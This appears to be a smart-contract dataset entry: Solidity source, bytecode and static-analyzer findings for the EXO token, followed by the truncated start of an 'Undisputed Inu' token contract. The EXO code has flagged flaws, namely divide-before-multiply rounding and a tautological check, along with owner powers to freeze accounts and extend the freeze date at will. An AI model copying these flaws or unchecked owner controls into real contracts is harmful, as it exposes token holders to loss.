event NewFreeze(address acc, bool isFrozen);
event BatchDistrib(uint8 cnt , uint256 batchAmount);
event Burn(address indexed burner, uint256 value);
// Constructor,
constructor(
address _accForBounty,
address _accForTeam,
address _accFoundation,
address _accUserReward,
address _accICO)
public
{
name = "EXOLOVER";
symbol = "EXO";
decimals = 18;
totalSupply_ = 1000000000 * (10 ** uint256(decimals));// All EXO tokens in the world
//Initial token distribution
balances[_accForBounty] = totalSupply()/100*PERCENT_BOUNTY;
balances[_accForTeam] = totalSupply()/100*PERCENT_TEAM;
balances[_accFoundation]= totalSupply()/100*PERCENT_FOUNDATION;
balances[_accUserReward]= totalSupply()/100*PERCENT_USER_REWARD;
balances[_accICO] = totalSupply()/100*PERCENT_ICO;
//save for public
accForBounty = _accForBounty;
accForTeam = _accForTeam;
accFoundation = _accFoundation;
accUserReward = _accUserReward;
accICO = _accICO;
//Fixe emission
emit Transfer(address(0), _accForBounty, totalSupply()/100*PERCENT_BOUNTY);
emit Transfer(address(0), _accForTeam, totalSupply()/100*PERCENT_TEAM);
emit Transfer(address(0), _accFoundation, totalSupply()/100*PERCENT_FOUNDATION);
emit Transfer(address(0), _accUserReward, totalSupply()/100*PERCENT_USER_REWARD);
emit Transfer(address(0), _accICO, totalSupply()/100*PERCENT_ICO);
frozenAccounts[accFoundation] = true;
emit NewFreeze(accFoundation, true);
}
modifier onlyTokenKeeper() {
require(msg.sender == accICO);
_;
}
function isFrozen(address _acc) internal view returns(bool frozen) {
if (_acc == accFoundation && now < UNFREEZE_FOUNDATION)
return true;
return (frozenAccounts[_acc] && now < UNFREEZE_TEAM_BOUNTY);
}
function freezeUntil(address _acc, bool _isfrozen) external onlyOwner returns (bool success){
require(now <= UNFREEZE_TEAM_BOUNTY);// nobody cant freeze after ICO finish
frozenAccounts[_acc] = _isfrozen;
emit NewFreeze(_acc, _isfrozen);
return true;
}
function setBountyTeamUnfreezeTime(uint256 _newDate) external onlyOwner {
UNFREEZE_TEAM_BOUNTY = _newDate;
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
//Batch token distribution from cab
function multiTransfer(address[] _investors, uint256[] _value )
public
onlyTokenKeeper
returns (uint256 _batchAmount)
{
uint8 cnt = uint8(_investors.length);
uint256 amount = 0;
require(cnt >0 && cnt <=255);
require(_value.length == _investors.length);
for (uint i=0; i<cnt; i++){
amount = amount.add(_value[i]);
require(_investors[i] != address(0));
balances[_investors[i]] = balances[_investors[i]].add(_value[i]);
emit Transfer(msg.sender, _investors[i], _value[i]);
}
require(amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(amount);
emit BatchDistrib(cnt, amount);
return amount;
}
//Override some function for freeze functionality
function transfer(address _to, uint256 _value) public returns (bool) {
require(!isFrozen(msg.sender));
assert(msg.data.length >= 64 + 4);//Short Address Attack
//Lets freeze any accounts, who recieve tokens from accForBounty and accForTeam
// - auto freeze
if (msg.sender == accForBounty || msg.sender == accForTeam) {
frozenAccounts[_to] = true;
emit NewFreeze(_to, true);
}
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(!isFrozen(_from));
assert(msg.data.length >= 96 + 4); //Short Address Attack
if (_from == accForBounty || _from == accForTeam) {
frozenAccounts[_to] = true;
emit NewFreeze(_to, true);
}
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(!isFrozen(msg.sender));
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
require(!isFrozen(msg.sender));
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
require(!isFrozen(msg.sender));
return super.decreaseApproval(_spender, _subtractedValue);
}
//***************************************************************
// ERC20 part of this contract based on https://github.com/OpenZeppelin/zeppelin-solidity
// Adapted and amended by IBERGroup, email:maxsizmobile@iber.group;
// Telegram: https://t.me/msmobile
// https://t.me/alexamuek
// Code released under the MIT License(see git root).
////**************************************************************
} | 0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d357806318160ddd146102385780631e89d5451461026357806323b872dd14610320578063313ce567146103a557806342966c68146103d657806346edef6c146104035780634815d83f1461045a578063661884631461048757806367c9d266146104ec578063698377211461055357806370a08231146105aa578063860838a51461060157806387864af81461065c5780638da5cb5b1461068757806395d89b41146106de578063a9059cbb1461076e578063ce7fc203146107d3578063d73dd6231461082a578063dd62ed3e1461088f578063e564bd4d14610906578063f2fde38b1461095d578063ffbfd19e146109a0575b600080fd5b34801561014f57600080fd5b506101586109f7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a95565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b5061024d610abe565b6040518082815260200191505060405180910390f35b34801561026f57600080fd5b5061030a6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610ac8565b6040518082815260200191505060405180910390f35b34801561032c57600080fd5b5061038b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9c565b604051808215151515815260200191505060405180910390f35b3480156103b157600080fd5b506103ba61104f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103e257600080fd5b5061040160048036038101908080359060200190929190505050611062565b005b34801561040f57600080fd5b5061041861106f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046657600080fd5b5061048560048036038101908080359060200190929190505050611095565b005b34801561049357600080fd5b506104d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110fb565b604051808215151515815260200191505060405180910390f35b3480156104f857600080fd5b50610539600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611124565b604051808215151515815260200191505060405180910390f35b34801561055f57600080fd5b50610568611263565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105b657600080fd5b506105eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611289565b6040518082815260200191505060405180910390f35b34801561060d57600080fd5b50610642600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d1565b604051808215151515815260200191505060405180910390f35b34801561066857600080fd5b506106716112f1565b6040518082815260200191505060405180910390f35b34801561069357600080fd5b5061069c6112f7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ea57600080fd5b506106f361131d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610733578082015181840152602081019050610718565b50505050905090810190601f1680156107605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561077a57600080fd5b506107b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bb565b604051808215151515815260200191505060405180910390f35b3480156107df57600080fd5b506107e861156c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561083657600080fd5b50610875600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611592565b604051808215151515815260200191505060405180910390f35b34801561089b57600080fd5b506108f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bb565b6040518082815260200191505060405180910390f35b34801561091257600080fd5b5061091b611642565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561096957600080fd5b5061099e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611668565b005b3480156109ac57600080fd5b506109b56117c0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a8d5780601f10610a6257610100808354040283529160200191610a8d565b820191906000526020600020905b815481529060010190602001808311610a7057829003601f168201915b505050505081565b6000610aa0336117e6565b151515610aac57600080fd5b610ab683836118b8565b905092915050565b6000600154905090565b600080600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2a57600080fd5b855192506000915060008360ff16118015610b49575060ff8360ff1611155b1515610b5457600080fd5b85518551141515610b6457600080fd5b600090505b8260ff16811015610d6b57610b9e8582815181101515610b8557fe5b90602001906020020151836119aa90919063ffffffff16565b9150600073ffffffffffffffffffffffffffffffffffffffff168682815181101515610bc657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515610bf357600080fd5b610c728582815181101515610c0457fe5b906020019060200201516000808985815181101515610c1f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119aa90919063ffffffff16565b6000808884815181101515610c8357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581815181101515610cd957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8784815181101515610d3f57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050610b69565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610db857600080fd5b610e09826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f639da735879af35a4f2eed6462f6caa4d08d3325e95946cc45f80281923682a08383604051808360ff1660ff1681526020018281526020019250505060405180910390a181935050505092915050565b6000610ea7846117e6565b151515610eb357600080fd5b6064600036905010151515610ec457fe5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610f6d5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561103b576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f2ee1e76218b9b79ebc01c3b1ee5cb1c45c1171a2c4afdd6e14c7fd3ed8798b4a836001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b6110468484846119e1565b90509392505050565b600760009054906101000a900460ff1681565b61106c3382611d9b565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110f157600080fd5b8060088190555050565b6000611106336117e6565b15151561111257600080fd5b61111c8383611f4e565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118257600080fd5b600854421115151561119357600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f2ee1e76218b9b79ebc01c3b1ee5cb1c45c1171a2c4afdd6e14c7fd3ed8798b4a8383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a16001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60046020528060005260406000206000915054906101000a900460ff1681565b60085481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113b35780601f10611388576101008083540402835291602001916113b3565b820191906000526020600020905b81548152906001019060200180831161139657829003601f168201915b505050505081565b60006113c6336117e6565b1515156113d257600080fd5b60446000369050101515156113e357fe5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061148c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561155a576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f2ee1e76218b9b79ebc01c3b1ee5cb1c45c1171a2c4afdd6e14c7fd3ed8798b4a836001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b61156483836121df565b905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061159d336117e6565b1515156115a957600080fd5b6115b383836123fe565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116c457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561170057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118485750635c295c0042105b1561185657600190506118b3565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118b0575060085442105b90505b919050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008082840190508381101515156119be57fe5b8091505092915050565b60008282111515156119d657fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a1e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a6b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611af657600080fd5b611b47826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bda826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cab82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611de857600080fd5b611e39816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e90816001546119c890919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561205f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f3565b61207283826119c890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561221c57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561226957600080fd5b6122ba826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061248f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119aa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820b172ab0618b4a2673d25c69de13211ccd4e1696f3698911ee3f58563a320950c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 9,932 |
0x70f3aecab7d54b1953777505864ab77852591a2e | /**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
/*
TELEGRAM: https://t.me/UndisputedInu
5% Buy / 5% Sell Tax
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract UndisputedInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Undisputed Inu";
string private constant _symbol = "UINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xB3a5FC7Bec5A37bb527F47d2a20180BE497efD6B);
address payable private _marketingAddress = payable(0xB3a5FC7Bec5A37bb527F47d2a20180BE497efD6B);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 7000000 * 10**9;
uint256 public _maxWalletSize = 21000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
